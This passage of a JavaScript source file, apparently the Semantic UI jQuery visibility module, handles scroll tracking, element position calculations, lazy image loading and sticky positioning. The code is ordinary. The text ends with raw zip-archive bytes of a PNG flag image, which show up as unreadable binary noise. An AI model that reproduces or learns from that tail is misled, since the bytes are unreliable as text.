            }
            module.bind.events();
          }

          module.save.position();
          if( !module.is.visible() ) {
            module.error(error.visible, $module);
          }

          if(settings.initialCheck) {
            module.checkVisibility();
          }
          module.instantiate();
        },

        instantiate: function() {
          module.debug('Storing instance', module);
          $module
            .data(moduleNamespace, module)
          ;
          instance = module;
        },

        destroy: function() {
          module.verbose('Destroying previous module');
          if(observer) {
            observer.disconnect();
          }
          if(contextObserver) {
            contextObserver.disconnect();
          }
          $window
            .off('load'   + eventNamespace, module.event.load)
            .off('resize' + eventNamespace, module.event.resize)
          ;
          $context
            .off('scroll'       + eventNamespace, module.event.scroll)
            .off('scrollchange' + eventNamespace, module.event.scrollchange)
          ;
          if(settings.type == 'fixed') {
            module.resetFixed();
            module.remove.placeholder();
          }
          $module
            .off(eventNamespace)
            .removeData(moduleNamespace)
          ;
        },

        observeChanges: function() {
          if('MutationObserver' in window) {
            contextObserver = new MutationObserver(module.event.contextChanged);
            observer        = new MutationObserver(module.event.changed);
            contextObserver.observe(document, {
              childList : true,
              subtree   : true
            });
            observer.observe(element, {
              childList : true,
              subtree   : true
            });
            module.debug('Setting up mutation observer', observer);
          }
        },

        bind: {
          events: function() {
            module.verbose('Binding visibility events to scroll and resize');
            if(settings.refreshOnLoad) {
              $window
                .on('load'   + eventNamespace, module.event.load)
              ;
            }
            $window
              .on('resize' + eventNamespace, module.event.resize)
            ;
            // pub/sub pattern
            $context
              .off('scroll'      + eventNamespace)
              .on('scroll'       + eventNamespace, module.event.scroll)
              .on('scrollchange' + eventNamespace, module.event.scrollchange)
            ;
          }
        },

        event: {
          changed: function(mutations) {
            module.verbose('DOM tree modified, updating visibility calculations');
            module.timer = setTimeout(function() {
              module.verbose('DOM tree modified, updating sticky menu');
              module.refresh();
            }, 100);
          },
          contextChanged: function(mutations) {
            [].forEach.call(mutations, function(mutation) {
              if(mutation.removedNodes) {
                [].forEach.call(mutation.removedNodes, function(node) {
                  if(node == element || $(node).find(element).length > 0) {
                    module.debug('Element removed from DOM, tearing down events');
                    module.destroy();
                  }
                });
              }
            });
          },
          resize: function() {
            module.debug('Window resized');
            if(settings.refreshOnResize) {
              requestAnimationFrame(module.refresh);
            }
          },
          load: function() {
            module.debug('Page finished loading');
            requestAnimationFrame(module.refresh);
          },
          // publishes scrollchange event on one scroll
          scroll: function() {
            if(settings.throttle) {
              clearTimeout(module.timer);
              module.timer = setTimeout(function() {
                $context.triggerHandler('scrollchange' + eventNamespace, [ $context.scrollTop() ]);
              }, settings.throttle);
            }
            else {
              requestAnimationFrame(function() {
                $context.triggerHandler('scrollchange' + eventNamespace, [ $context.scrollTop() ]);
              });
            }
          },
          // subscribes to scrollchange
          scrollchange: function(event, scrollPosition) {
            module.checkVisibility(scrollPosition);
          },
        },

        precache: function(images, callback) {
          if (!(images instanceof Array)) {
            images = [images];
          }
          var
            imagesLength  = images.length,
            loadedCounter = 0,
            cache         = [],
            cacheImage    = document.createElement('img'),
            handleLoad    = function() {
              loadedCounter++;
              if (loadedCounter >= images.length) {
                if ($.isFunction(callback)) {
                  callback();
                }
              }
            }
          ;
          while (imagesLength--) {
            cacheImage         = document.createElement('img');
            cacheImage.onload  = handleLoad;
            cacheImage.onerror = handleLoad;
            cacheImage.src     = images[imagesLength];
            cache.push(cacheImage);
          }
        },

        enableCallbacks: function() {
          module.debug('Allowing callbacks to occur');
          disabled = false;
        },

        disableCallbacks: function() {
          module.debug('Disabling all callbacks temporarily');
          disabled = true;
        },

        should: {
          trackChanges: function() {
            if(methodInvoked) {
              module.debug('One time query, no need to bind events');
              return false;
            }
            module.debug('Callbacks being attached');
            return true;
          }
        },

        setup: {
          cache: function() {
            module.cache = {
              occurred : {},
              screen   : {},
              element  : {},
            };
          },
          image: function() {
            var
              src = $module.data(metadata.src)
            ;
            if(src) {
              module.verbose('Lazy loading image', src);
              settings.once           = true;
              settings.observeChanges = false;

              // show when top visible
              settings.onOnScreen = function() {
                module.debug('Image on screen', element);
                module.precache(src, function() {
                  module.set.image(src, function() {
                    loadedCount++;
                    if(loadedCount == moduleCount) {
                      settings.onAllLoaded.call(this);
                    }
                    settings.onLoad.call(this);
                  });
                });
              };
            }
          },
          fixed: function() {
            module.debug('Setting up fixed');
            settings.once           = false;
            settings.observeChanges = false;
            settings.initialCheck   = true;
            settings.refreshOnLoad  = true;
            if(!parameters.transition) {
              settings.transition = false;
            }
            module.create.placeholder();
            module.debug('Added placeholder', $placeholder);
            settings.onTopPassed = function() {
              module.debug('Element passed, adding fixed position', $module);
              module.show.placeholder();
              module.set.fixed();
              if(settings.transition) {
                if($.fn.transition !== undefined) {
                  $module.transition(settings.transition, settings.duration);
                }
              }
            };
            settings.onTopPassedReverse = function() {
              module.debug('Element returned to position, removing fixed', $module);
              module.hide.placeholder();
              module.remove.fixed();
            };
          }
        },

        create: {
          placeholder: function() {
            module.verbose('Creating fixed position placeholder');
            $placeholder = $module
              .clone(false)
              .css('display', 'none')
              .addClass(className.placeholder)
              .insertAfter($module)
            ;
          }
        },

        show: {
          placeholder: function() {
            module.verbose('Showing placeholder');
            $placeholder
              .css('display', 'block')
              .css('visibility', 'hidden')
            ;
          }
        },
        hide: {
          placeholder: function() {
            module.verbose('Hiding placeholder');
            $placeholder
              .css('display', 'none')
              .css('visibility', '')
            ;
          }
        },

        set: {
          fixed: function() {
            module.verbose('Setting element to fixed position');
            $module
              .addClass(className.fixed)
              .css({
                position : 'fixed',
                top      : settings.offset + 'px',
                left     : 'auto',
                zIndex   : settings.zIndex
              })
            ;
            settings.onFixed.call(element);
          },
          image: function(src, callback) {
            $module
              .attr('src', src)
            ;
            if(settings.transition) {
              if( $.fn.transition !== undefined ) {
                $module.transition(settings.transition, settings.duration, callback);
              }
              else {
                $module.fadeIn(settings.duration, callback);
              }
            }
            else {
              $module.show();
            }
          }
        },

        is: {
          onScreen: function() {
            var
              calculations   = module.get.elementCalculations()
            ;
            return calculations.onScreen;
          },
          offScreen: function() {
            var
              calculations   = module.get.elementCalculations()
            ;
            return calculations.offScreen;
          },
          visible: function() {
            if(module.cache && module.cache.element) {
              return !(module.cache.element.width === 0 && module.cache.element.offset.top === 0);
            }
            return false;
          }
        },

        refresh: function() {
          module.debug('Refreshing constants (width/height)');
          if(settings.type == 'fixed') {
            module.resetFixed();
          }
          module.reset();
          module.save.position();
          if(settings.checkOnRefresh) {
            module.checkVisibility();
          }
          settings.onRefresh.call(element);
        },

        resetFixed: function () {
          module.remove.fixed();
          module.remove.occurred();
        },

        reset: function() {
          module.verbose('Resetting all cached values');
          if( $.isPlainObject(module.cache) ) {
            module.cache.screen = {};
            module.cache.element = {};
          }
        },

        checkVisibility: function(scroll) {
          module.verbose('Checking visibility of element', module.cache.element);

          if( !disabled && module.is.visible() ) {

            // save scroll position
            module.save.scroll(scroll);

            // update calculations derived from scroll
            module.save.calculations();

            // percentage
            module.passed();

            // reverse (must be first)
            module.passingReverse();
            module.topVisibleReverse();
            module.bottomVisibleReverse();
            module.topPassedReverse();
            module.bottomPassedReverse();

            // one time
            module.onScreen();
            module.offScreen();
            module.passing();
            module.topVisible();
            module.bottomVisible();
            module.topPassed();
            module.bottomPassed();

            // on update callback
            if(settings.onUpdate) {
              settings.onUpdate.call(element, module.get.elementCalculations());
            }
          }
        },

        passed: function(amount, newCallback) {
          var
            calculations   = module.get.elementCalculations(),
            amountInPixels
          ;
          // assign callback
          if(amount && newCallback) {
            settings.onPassed[amount] = newCallback;
          }
          else if(amount !== undefined) {
            return (module.get.pixelsPassed(amount) > calculations.pixelsPassed);
          }
          else if(calculations.passing) {
            $.each(settings.onPassed, function(amount, callback) {
              if(calculations.bottomVisible || calculations.pixelsPassed > module.get.pixelsPassed(amount)) {
                module.execute(callback, amount);
              }
              else if(!settings.once) {
                module.remove.occurred(callback);
              }
            });
          }
        },

        onScreen: function(newCallback) {
          var
            calculations = module.get.elementCalculations(),
            callback     = newCallback || settings.onOnScreen,
            callbackName = 'onScreen'
          ;
          if(newCallback) {
            module.debug('Adding callback for onScreen', newCallback);
            settings.onOnScreen = newCallback;
          }
          if(calculations.onScreen) {
            module.execute(callback, callbackName);
          }
          else if(!settings.once) {
            module.remove.occurred(callbackName);
          }
          if(newCallback !== undefined) {
            return calculations.onOnScreen;
          }
        },

        offScreen: function(newCallback) {
          var
            calculations = module.get.elementCalculations(),
            callback     = newCallback || settings.onOffScreen,
            callbackName = 'offScreen'
          ;
          if(newCallback) {
            module.debug('Adding callback for offScreen', newCallback);
            settings.onOffScreen = newCallback;
          }
          if(calculations.offScreen) {
            module.execute(callback, callbackName);
          }
          else if(!settings.once) {
            module.remove.occurred(callbackName);
          }
          if(newCallback !== undefined) {
            return calculations.onOffScreen;
          }
        },

        passing: function(newCallback) {
          var
            calculations = module.get.elementCalculations(),
            callback     = newCallback || settings.onPassing,
            callbackName = 'passing'
          ;
          if(newCallback) {
            module.debug('Adding callback for passing', newCallback);
            settings.onPassing = newCallback;
          }
          if(calculations.passing) {
            module.execute(callback, callbackName);
          }
          else if(!settings.once) {
            module.remove.occurred(callbackName);
          }
          if(newCallback !== undefined) {
            return calculations.passing;
          }
        },


        topVisible: function(newCallback) {
          var
            calculations = module.get.elementCalculations(),
            callback     = newCallback || settings.onTopVisible,
            callbackName = 'topVisible'
          ;
          if(newCallback) {
            module.debug('Adding callback for top visible', newCallback);
            settings.onTopVisible = newCallback;
          }
          if(calculations.topVisible) {
            module.execute(callback, callbackName);
          }
          else if(!settings.once) {
            module.remove.occurred(callbackName);
          }
          if(newCallback === undefined) {
            return calculations.topVisible;
          }
        },

        bottomVisible: function(newCallback) {
          var
            calculations = module.get.elementCalculations(),
            callback     = newCallback || settings.onBottomVisible,
            callbackName = 'bottomVisible'
          ;
          if(newCallback) {
            module.debug('Adding callback for bottom visible', newCallback);
            settings.onBottomVisible = newCallback;
          }
          if(calculations.bottomVisible) {
            module.execute(callback, callbackName);
          }
          else if(!settings.once) {
            module.remove.occurred(callbackName);
          }
          if(newCallback === undefined) {
            return calculations.bottomVisible;
          }
        },

        topPassed: function(newCallback) {
          var
            calculations = module.get.elementCalculations(),
            callback     = newCallback || settings.onTopPassed,
            callbackName = 'topPassed'
          ;
          if(newCallback) {
            module.debug('Adding callback for top passed', newCallback);
            settings.onTopPassed = newCallback;
          }
          if(calculations.topPassed) {
            module.execute(callback, callbackName);
          }
          else if(!settings.once) {
            module.remove.occurred(callbackName);
          }
          if(newCallback === undefined) {
            return calculations.topPassed;
          }
        },

        bottomPassed: function(newCallback) {
          var
            calculations = module.get.elementCalculations(),
            callback     = newCallback || settings.onBottomPassed,
            callbackName = 'bottomPassed'
          ;
          if(newCallback) {
            module.debug('Adding callback for bottom passed', newCallback);
            settings.onBottomPassed = newCallback;
          }
          if(calculations.bottomPassed) {
            module.execute(callback, callbackName);
          }
          else if(!settings.once) {
            module.remove.occurred(callbackName);
          }
          if(newCallback === undefined) {
            return calculations.bottomPassed;
          }
        },

        passingReverse: function(newCallback) {
          var
            calculations = module.get.elementCalculations(),
            callback     = newCallback || settings.onPassingReverse,
            callbackName = 'passingReverse'
          ;
          if(newCallback) {
            module.debug('Adding callback for passing reverse', newCallback);
            settings.onPassingReverse = newCallback;
          }
          if(!calculations.passing) {
            if(module.get.occurred('passing')) {
              module.execute(callback, callbackName);
            }
          }
          else if(!settings.once) {
            module.remove.occurred(callbackName);
          }
          if(newCallback !== undefined) {
            return !calculations.passing;
          }
        },


        topVisibleReverse: function(newCallback) {
          var
            calculations = module.get.elementCalculations(),
            callback     = newCallback || settings.onTopVisibleReverse,
            callbackName = 'topVisibleReverse'
          ;
          if(newCallback) {
            module.debug('Adding callback for top visible reverse', newCallback);
            settings.onTopVisibleReverse = newCallback;
          }
          if(!calculations.topVisible) {
            if(module.get.occurred('topVisible')) {
              module.execute(callback, callbackName);
            }
          }
          else if(!settings.once) {
            module.remove.occurred(callbackName);
          }
          if(newCallback === undefined) {
            return !calculations.topVisible;
          }
        },

        bottomVisibleReverse: function(newCallback) {
          var
            calculations = module.get.elementCalculations(),
            callback     = newCallback || settings.onBottomVisibleReverse,
            callbackName = 'bottomVisibleReverse'
          ;
          if(newCallback) {
            module.debug('Adding callback for bottom visible reverse', newCallback);
            settings.onBottomVisibleReverse = newCallback;
          }
          if(!calculations.bottomVisible) {
            if(module.get.occurred('bottomVisible')) {
              module.execute(callback, callbackName);
            }
          }
          else if(!settings.once) {
            module.remove.occurred(callbackName);
          }
          if(newCallback === undefined) {
            return !calculations.bottomVisible;
          }
        },

        topPassedReverse: function(newCallback) {
          var
            calculations = module.get.elementCalculations(),
            callback     = newCallback || settings.onTopPassedReverse,
            callbackName = 'topPassedReverse'
          ;
          if(newCallback) {
            module.debug('Adding callback for top passed reverse', newCallback);
            settings.onTopPassedReverse = newCallback;
          }
          if(!calculations.topPassed) {
            if(module.get.occurred('topPassed')) {
              module.execute(callback, callbackName);
            }
          }
          else if(!settings.once) {
            module.remove.occurred(callbackName);
          }
          if(newCallback === undefined) {
            return !calculations.onTopPassed;
          }
        },

        bottomPassedReverse: function(newCallback) {
          var
            calculations = module.get.elementCalculations(),
            callback     = newCallback || settings.onBottomPassedReverse,
            callbackName = 'bottomPassedReverse'
          ;
          if(newCallback) {
            module.debug('Adding callback for bottom passed reverse', newCallback);
            settings.onBottomPassedReverse = newCallback;
          }
          if(!calculations.bottomPassed) {
            if(module.get.occurred('bottomPassed')) {
              module.execute(callback, callbackName);
            }
          }
          else if(!settings.once) {
            module.remove.occurred(callbackName);
          }
          if(newCallback === undefined) {
            return !calculations.bottomPassed;
          }
        },

        execute: function(callback, callbackName) {
          var
            calculations = module.get.elementCalculations(),
            screen       = module.get.screenCalculations()
          ;
          callback = callback || false;
          if(callback) {
            if(settings.continuous) {
              module.debug('Callback being called continuously', callbackName, calculations);
              callback.call(element, calculations, screen);
            }
            else if(!module.get.occurred(callbackName)) {
              module.debug('Conditions met', callbackName, calculations);
              callback.call(element, calculations, screen);
            }
          }
          module.save.occurred(callbackName);
        },

        remove: {
          fixed: function() {
            module.debug('Removing fixed position');
            $module
              .removeClass(className.fixed)
              .css({
                position : '',
                top      : '',
                left     : '',
                zIndex   : ''
              })
            ;
            settings.onUnfixed.call(element);
          },
          placeholder: function() {
            module.debug('Removing placeholder content');
            if($placeholder) {
              $placeholder.remove();
            }
          },
          occurred: function(callback) {
            if(callback) {
              var
                occurred = module.cache.occurred
              ;
              if(occurred[callback] !== undefined && occurred[callback] === true) {
                module.debug('Callback can now be called again', callback);
                module.cache.occurred[callback] = false;
              }
            }
            else {
              module.cache.occurred = {};
            }
          }
        },

        save: {
          calculations: function() {
            module.verbose('Saving all calculations necessary to determine positioning');
            module.save.direction();
            module.save.screenCalculations();
            module.save.elementCalculations();
          },
          occurred: function(callback) {
            if(callback) {
              if(module.cache.occurred[callback] === undefined || (module.cache.occurred[callback] !== true)) {
                module.verbose('Saving callback occurred', callback);
                module.cache.occurred[callback] = true;
              }
            }
          },
          scroll: function(scrollPosition) {
            scrollPosition      = scrollPosition + settings.offset || $context.scrollTop() + settings.offset;
            module.cache.scroll = scrollPosition;
          },
          direction: function() {
            var
              scroll     = module.get.scroll(),
              lastScroll = module.get.lastScroll(),
              direction
            ;
            if(scroll > lastScroll && lastScroll) {
              direction = 'down';
            }
            else if(scroll < lastScroll && lastScroll) {
              direction = 'up';
            }
            else {
              direction = 'static';
            }
            module.cache.direction = direction;
            return module.cache.direction;
          },
          elementPosition: function() {
            var
              element = module.cache.element,
              screen  = module.get.screenSize()
            ;
            module.verbose('Saving element position');
            // (quicker than $.extend)
            element.fits          = (element.height < screen.height);
            element.offset        = $module.offset();
            element.width         = $module.outerWidth();
            element.height        = $module.outerHeight();
            // store
            module.cache.element = element;
            return element;
          },
          elementCalculations: function() {
            var
              screen     = module.get.screenCalculations(),
              element    = module.get.elementPosition()
            ;
            // offset
            if(settings.includeMargin) {
              element.margin        = {};
              element.margin.top    = parseInt($module.css('margin-top'), 10);
              element.margin.bottom = parseInt($module.css('margin-bottom'), 10);
              element.top    = element.offset.top - element.margin.top;
              element.bottom = element.offset.top + element.height + element.margin.bottom;
            }
            else {
              element.top    = element.offset.top;
              element.bottom = element.offset.top + element.height;
            }

            // visibility
            element.topVisible       = (screen.bottom >= element.top);
            element.topPassed        = (screen.top >= element.top);
            element.bottomVisible    = (screen.bottom >= element.bottom);
            element.bottomPassed     = (screen.top >= element.bottom);
            element.pixelsPassed     = 0;
            element.percentagePassed = 0;

            // meta calculations
            element.onScreen  = (element.topVisible && !element.bottomPassed);
            element.passing   = (element.topPassed && !element.bottomPassed);
            element.offScreen = (!element.onScreen);

            // passing calculations
            if(element.passing) {
              element.pixelsPassed     = (screen.top - element.top);
              element.percentagePassed = (screen.top - element.top) / element.height;
            }
            module.cache.element = element;
            module.verbose('Updated element calculations', element);
            return element;
          },
          screenCalculations: function() {
            var
              scroll = module.get.scroll()
            ;
            module.save.direction();
            module.cache.screen.top    = scroll;
            module.cache.screen.bottom = scroll + module.cache.screen.height;
            return module.cache.screen;
          },
          screenSize: function() {
            module.verbose('Saving window position');
            module.cache.screen = {
              height: $context.height()
            };
          },
          position: function() {
            module.save.screenSize();
            module.save.elementPosition();
          }
        },

        get: {
          pixelsPassed: function(amount) {
            var
              element = module.get.elementCalculations()
            ;
            if(amount.search('%') > -1) {
              return ( element.height * (parseInt(amount, 10) / 100) );
            }
            return parseInt(amount, 10);
          },
          occurred: function(callback) {
            return (module.cache.occurred !== undefined)
              ? module.cache.occurred[callback] || false
              : false
            ;
          },
          direction: function() {
            if(module.cache.direction === undefined) {
              module.save.direction();
            }
            return module.cache.direction;
          },
          elementPosition: function() {
            if(module.cache.element === undefined) {
              module.save.elementPosition();
            }
            return module.cache.element;
          },
          elementCalculations: function() {
            if(module.cache.element === undefined) {
              module.save.elementCalculations();
            }
            return module.cache.element;
          },
          screenCalculations: function() {
            if(module.cache.screen === undefined) {
              module.save.screenCalculations();
            }
            return module.cache.screen;
          },
          screenSize: function() {
            if(module.cache.screen === undefined) {
              module.save.screenSize();
            }
            return module.cache.screen;
          },
          scroll: function() {
            if(module.cache.scroll === undefined) {
              module.save.scroll();
            }
            return module.cache.scroll;
          },
          lastScroll: function() {
            if(module.cache.screen === undefined) {
              module.debug('First scroll event, no last scroll could be found');
              return false;
            }
            return module.cache.screen.top;
          }
        },

        setting: function(name, value) {
          if( $.isPlainObject(name) ) {
            $.extend(true, settings, name);
          }
          else if(value !== undefined) {
            settings[name] = value;
          }
          else {
            return settings[name];
          }
        },
        internal: function(name, value) {
          if( $.isPlainObject(name) ) {
            $.extend(true, module, name);
          }
          else if(value !== undefined) {
            module[name] = value;
          }
          else {
            return module[name];
          }
        },
        debug: function() {
          if(!settings.silent && settings.debug) {
            if(settings.performance) {
              module.performance.log(arguments);
            }
            else {
              module.debug = Function.prototype.bind.call(console.info, console, settings.name + ':');
              module.debug.apply(console, arguments);
            }
          }
        },
        verbose: function() {
          if(!settings.silent && settings.verbose && settings.debug) {
            if(settings.performance) {
              module.performance.log(arguments);
            }
            else {
              module.verbose = Function.prototype.bind.call(console.info, console, settings.name + ':');
              module.verbose.apply(console, arguments);
            }
          }
        },
        error: function() {
          if(!settings.silent) {
            module.error = Function.prototype.bind.call(console.error, console, settings.name + ':');
            module.error.apply(console, arguments);
          }
        },
        performance: {
          log: function(message) {
            var
              currentTime,
              executionTime,
              previousTime
            ;
            if(settings.performance) {
              currentTime   = new Date().getTime();
              previousTime  = time || currentTime;
              executionTime = currentTime - previousTime;
              time          = currentTime;
              performance.push({
                'Name'           : message[0],
                'Arguments'      : [].slice.call(message, 1) || '',
                'Element'        : element,
                'Execution Time' : executionTime
              });
            }
            clearTimeout(module.performance.timer);
            module.performance.timer = setTimeout(module.performance.display, 500);
          },
          display: function() {
            var
              title = settings.name + ':',
              totalTime = 0
            ;
            time = false;
            clearTimeout(module.performance.timer);
            $.each(performance, function(index, data) {
              totalTime += data['Execution Time'];
            });
            title += ' ' + totalTime + 'ms';
            if(moduleSelector) {
              title += ' \'' + moduleSelector + '\'';
            }
            if( (console.group !== undefined || console.table !== undefined) && performance.length > 0) {
              console.groupCollapsed(title);
              if(console.table) {
                console.table(performance);
              }
              else {
                $.each(performance, function(index, data) {
                  console.log(data['Name'] + ': ' + data['Execution Time']+'ms');
                });
              }
              console.groupEnd();
            }
            performance = [];
          }
        },
        invoke: function(query, passedArguments, context) {
          var
            object = instance,
            maxDepth,
            found,
            response
          ;
          passedArguments = passedArguments || queryArguments;
          context         = element         || context;
          if(typeof query == 'string' && object !== undefined) {
            query    = query.split(/[\. ]/);
            maxDepth = query.length - 1;
            $.each(query, function(depth, value) {
              var camelCaseValue = (depth != maxDepth)
                ? value + query[depth + 1].charAt(0).toUpperCase() + query[depth + 1].slice(1)
                : query
              ;
              if( $.isPlainObject( object[camelCaseValue] ) && (depth != maxDepth) ) {
                object = object[camelCaseValue];
              }
              else if( object[camelCaseValue] !== undefined ) {
                found = object[camelCaseValue];
                return false;
              }
              else if( $.isPlainObject( object[value] ) && (depth != maxDepth) ) {
                object = object[value];
              }
              else if( object[value] !== undefined ) {
                found = object[value];
                return false;
              }
              else {
                module.error(error.method, query);
                return false;
              }
            });
          }
          if ( $.isFunction( found ) ) {
            response = found.apply(context, passedArguments);
          }
          else if(found !== undefined) {
            response = found;
          }
          if($.isArray(returnedValue)) {
            returnedValue.push(response);
          }
          else if(returnedValue !== undefined) {
            returnedValue = [returnedValue, response];
          }
          else if(response !== undefined) {
            returnedValue = response;
          }
          return found;
        }
      };

      if(methodInvoked) {
        if(instance === undefined) {
          module.initialize();
        }
        instance.save.scroll();
        instance.save.calculations();
        module.invoke(query);
      }
      else {
        if(instance !== undefined) {
          instance.invoke('destroy');
        }
        module.initialize();
      }
    })
  ;

  return (returnedValue !== undefined)
    ? returnedValue
    : this
  ;
};

$.fn.visibility.settings = {

  name                   : 'Visibility',
  namespace              : 'visibility',

  debug                  : false,
  verbose                : false,
  performance            : true,

  // whether to use mutation observers to follow changes
  observeChanges         : true,

  // check position immediately on init
  initialCheck           : true,

  // whether to refresh calculations after all page images load
  refreshOnLoad          : true,

  // whether to refresh calculations after page resize event
  refreshOnResize        : true,

  // should call callbacks on refresh event (resize, etc)
  checkOnRefresh         : true,

  // callback should only occur one time
  once                   : true,

  // callback should fire continuously whe evaluates to true
  continuous             : false,

  // offset to use with scroll top
  offset                 : 0,

  // whether to include margin in elements position
  includeMargin          : false,

  // scroll context for visibility checks
  context                : window,

  // visibility check delay in ms (defaults to animationFrame)
  throttle               : false,

  // special visibility type (image, fixed)
  type                   : false,

  // z-index to use with visibility 'fixed'
  zIndex                 : '10',

  // image only animation settings
  transition             : 'fade in',
  duration               : 1000,

  // array of callbacks for percentage
  onPassed               : {},

  // standard callbacks
  onOnScreen             : false,
  onOffScreen            : false,
  onPassing              : false,
  onTopVisible           : false,
  onBottomVisible        : false,
  onTopPassed            : false,
  onBottomPassed         : false,

  // reverse callbacks
  onPassingReverse       : false,
  onTopVisibleReverse    : false,
  onBottomVisibleReverse : false,
  onTopPassedReverse     : false,
  onBottomPassedReverse  : false,

  // special callbacks for image
  onLoad                 : function() {},
  onAllLoaded            : function() {},

  // special callbacks for fixed position
  onFixed                : function() {},
  onUnfixed              : function() {},

  // utility callbacks
  onUpdate               : false, // disabled by default for performance
  onRefresh              : function(){},

  metadata : {
    src: 'src'
  },

  className: {
    fixed       : 'fixed',
    placeholder : 'placeholder'
  },

  error : {
    method  : 'The method you called is not defined.',
    visible : 'Element is hidden, you must call refresh after element becomes visible'
  }

};

})( jQuery, window, document );
PK!ZnG��m�m+dist/themes/default/assets/images/flags.pngnu&1i��PNG


IHDR|�
���PLTE�������������������--�76�@?���[[�������HH�RR�zy��>���(/�/�A<�NJ�/0�"!�f_:�:�qo�F�F���T��C������t�ge��[Q�Qa�[W������LJH[����{��-Z�Z�~�|0�lk�4-��>=��w�|y`�Mo����	����>"����9���2O�o�oL;:8IHD�fY�WVT���������J���HT�Sm���Pm�q����If�������yyw�Cd~�&���	�\�Y�cKe�am�jghe��5S�{��w�ᆚ�k[����q/--������얪�3�U��_b�9~��RTP�J��4x��P�ɛ?f�tx��7C��.-IU�T��KL�f��i��35�?�;␑4={��R�b�V��u��{��?��6R˱ݱO{�<7*�U�TʼH+����z��ݰ�H��C�����@��5o���1�0��q��!j�¯wߛi�ۻaq��͊|�zW�vN����S���Z�t�?>�+2�:�X����[0���P����Ͳ��"y���*^�hj�W���ho���h��4���|s�t}x>vD:2}/=�`�}�sA����|��"G�.����9���Cy�ql�ԛ�_Z���s0qe�*+� �f��B~ki��V�I��c'&?}e�N����'SKK��T�tRNS@��fj�IDATx��kTTU��
	�8���81�cBD�Q���# ��(*&D���d	VJo�({��ied�YT�F+��Z��V��Ͻ�P�M�r��~�*�4ߜ{�w߽�>�����ؤ��{yy�8\�\�̝{�
���s�\�oZD=joLTG~ETTj{�̙ӧO_�\6)555+/�F 4"�ϛ+�V�3�+��7rD��媎͛��K+**��➐]���U��0�����3�#G>t�ȩ��U�\�Tj����<_ߘ�
m�A>)5����f ����H���S3�f�Bl�������x�PyN6	� mj�	1&�8�tc�O�寂���uFL�UrD	G�R��(����9�'dX0-g��kt��ZU��I���V)Jd5YeEEM��m{B�L	�&��M|�m �Xs��ѣ����XJ�q�����"�ys[[Д)SB��eK�y@vv��(R��=��忴���F�����	�W�*�[���͛4iҦM��M�y|���9�I�m��jkk�C�{�;���9��CB(yQ��p%o�T��xDU��5�7�z%PUU�|��{�N|������ƕW>uܸif��l.�A�1Ӧ���$$$$$$$.	�!,����R���oi��޴i�ٗxc&O��	�'O�NHH�xcnF,Z���1���.�!�H�-�*��H�-k,M����L���8s���
�el6��+����(���hd^i�3�(7""wI��rޘ���y��M5�����p��
Qn���Z��%ր�\?��[��̈́��LxSS���p���p�����k���`ݔ<?�a0�,����MM�kba�IF�=��<��yϞ^����(�,�В���!�4���k�i��Ԋ3'呑�
���M�@9��ۍrz�>�7:�3��[�989$8$)iJ0w���ަ���f�������M����\�A�������
�r��f&�lh�kͲ!p0g�_�{��s�έ��K���MI��;hP�vy���+O�˜M f��9�6�J�É��9��ٳf�[����)��7����q��N�L�3sW_.\p*<�L>d��j2/�]\^^��T�#QG���p8���:�+G���o�Z͈LBBBBBB�na.�l�
F-TT��G�k����1/_�p�>�י<y�ěE 8z\��(�����<c՘۸������^�1�?�an��׭[w##,�L���K0�c8=r��|��E6\��/0�����c�ĜE�A�ҥKCC���ÇB�ƕ��/��?:���G�Y�,�������9Nv&�&‘��=��/τ9�+(�7|��|����&C,މ��l5)վ}��?|�L}h�5~p���9=��/��{�����7!ܴ���f��g��ǎՄ���3��|
ȝGZ���|F��}o���k�r�C�v�����O^S����|��iL>�a�A>g�4�|��6�.̙S��=���U�lm&偁�=9]�k�χ�%$d�Cs��c����o�b(!��� ,��O˃>��#�s�g�X.8B���U	���×O<��%c.5���
OR�Md0���K�/���7�3b?�"�r��,X���\��_��7F+0x0�[�����h&��������b-E���v
x�+ϵ9mryJ�\iKsi�\���@E����7�ߥ�X-F,�"��q��i������˝)N�<ԤT:-i���)��b[E�6i%\��c�{��ɼ�g���ʄ`�k��c�r��!gr�ƩP��_�m.t|�7ps,8c�-�SB����ﺫ��;�j�gb2e i��{�e�_�A)ֱç�#��P�*<�?䦖���ᆳD5���ߚ
�����M�]�y[E�������:r<!?��>� ��Z`�Y���g��Q`L�u	|y�>���'�Z=��q��@Q�d�'�MK�X�(�N�tB���:���{�m��>���1�3�+_�}9/�������z?�DxF�Be����N{"�7%!$dž
1b��A� �'&�m*���ҕ��hL&��ew�嘫q�Ʋgd�#����{@y4+���Y�gNH0�0���y������_㦍#�^�7"��������$T���Ŗ��;^�O�D�
ȵ.����*�[����S�&�o�2
�9S���S��Sǧ��MdW^
hX�:fc���g�-�h,�_�+��`�rkc�m�LYb���];絛߹���J�aBM��L�0����_��[6�m۶m;�m�,��8 �{�P袢�Yz-�u�&��+?&,��+,����3�7�TC�ݞv�{����Y��luu�:��7\��s&!����L&Sh7!P��8�7�(V8ڻ��z�o�Z]�&ȳ_����֝�w�׫	��YYY*=�M�BG�o��|��_�V����on_.�[�N��_|�;��y� G7���hj�mྎ�cHl���O����;�C~���;�S�2�	���3�f�>t��M5W^�n���ar6o��n��>J^V��:Ȇ�Fq��aRMp����6���r�x��l8��/��*�&�b��Q���=��kM���9��mZ��@�a�(�օ�O�{4ˁ'��$$$$$$$.		�7�� <����C"�|�:�7F����I����R��K�CX�<	��-?*�e���/���f�͓�^��3 ���&�̟_i9+�	����-.� �D� ��4��)�s4�����f&?>�=��dR�q�徰�O]?Uٯ��E��k�9��!Sg�%��CϮ��\�O�uz�}N��~�+䈣��I��٬4�g�l�|Cf|S^V	�M�g+gϪ��!x�O��f�:M�UL��eK1�U�<?U.W$:,�g��E��rb���� �����]'�}-��̜^S�Z*��d�vȣ!�c�;k}���f	,H���Z�Z��Q�?�Jef[ޞϛ���q5G�݄I�?'�����Q�_�hA�@�����D���N��@2W>W�2!N��`�V),�r��&���0��\��OȞL���Qt�E81,_#�c���������AXA����^,��
�
T�1 �nT�|Fd@�
F%|9��4��ˡ]W�\���5��&H=���)��Qr+Rl�VP�+[�򍫕���')9�n��|.��n9�].�Z�L˕+W*P^��'�n�;�(���4�"��;
Z�pS��+�Z�%U�5|�5%��с��񃆡|B��Mɵ(5��1��UU�ʍ�'W+hy(F|X
